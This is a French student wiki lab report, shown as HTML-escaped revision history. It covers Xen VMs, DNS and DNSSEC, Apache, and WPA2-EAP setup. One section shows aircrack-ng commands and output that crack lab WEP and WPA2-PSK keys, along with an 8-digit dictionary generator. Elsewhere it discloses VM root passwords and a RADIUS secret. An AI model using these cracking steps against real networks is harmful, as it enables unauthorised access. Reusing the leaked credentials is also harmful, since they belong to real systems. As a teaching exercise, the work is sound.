&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_5&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Vlan15&lt;br /&gt;
 description &amp;quot;VLAN personnel de Cedric PAYET (E5) - WPA2-EAP&amp;quot;&lt;br /&gt;
 ip address 10.60.5.2 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60a5::2/64&lt;br /&gt;
 vrrp 15 address-family ipv4&lt;br /&gt;
  priority 110&lt;br /&gt;
  address 10.60.5.1 primary&lt;br /&gt;
  exit-vrrp&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 15&lt;br /&gt;
name E5-Cedric&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
wifi-E306(config)#interface GigabitEthernet0.15&lt;br /&gt;
wifi-E306(config-subif)#encapsulation dot1Q 15&lt;br /&gt;
wifi-E306(config-subif)#bridge-group 15&lt;br /&gt;
wifi-E306(config-subif)#bridge-group 15 spanning-disabled&lt;br /&gt;
wifi-E306(config-subif)#no bridge-group 15 source-learning&lt;br /&gt;
wifi-E306(config-subif)#exit&lt;br /&gt;
wifi-E306(config)#exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
wifi-E306(config)#int dot11radio0 &lt;br /&gt;
wifi-E306(config-if)#encryption vlan 5 mode ciphers aes-ccm &lt;br /&gt;
wifi-E306(config-if)#ssid VM_SERVICES_5&lt;br /&gt;
wifi-E306(config-if)#exit&lt;br /&gt;
wifi-E306(config)#exit&lt;br /&gt;
wifi-E306#sh run&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
 encapsulation dot1Q 15&lt;br /&gt;
 bridge-group 15&lt;br /&gt;
 bridge-group 15 subscriber-loop-control&lt;br /&gt;
 bridge-group 15 spanning-disabled&lt;br /&gt;
 bridge-group 15 block-unknown-source&lt;br /&gt;
 no bridge-group 15 source-learning&lt;br /&gt;
 no bridge-group 15 unicast-flooding&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12220</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12220"/>
		<updated>2026-02-10T17:06:34Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Utiles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
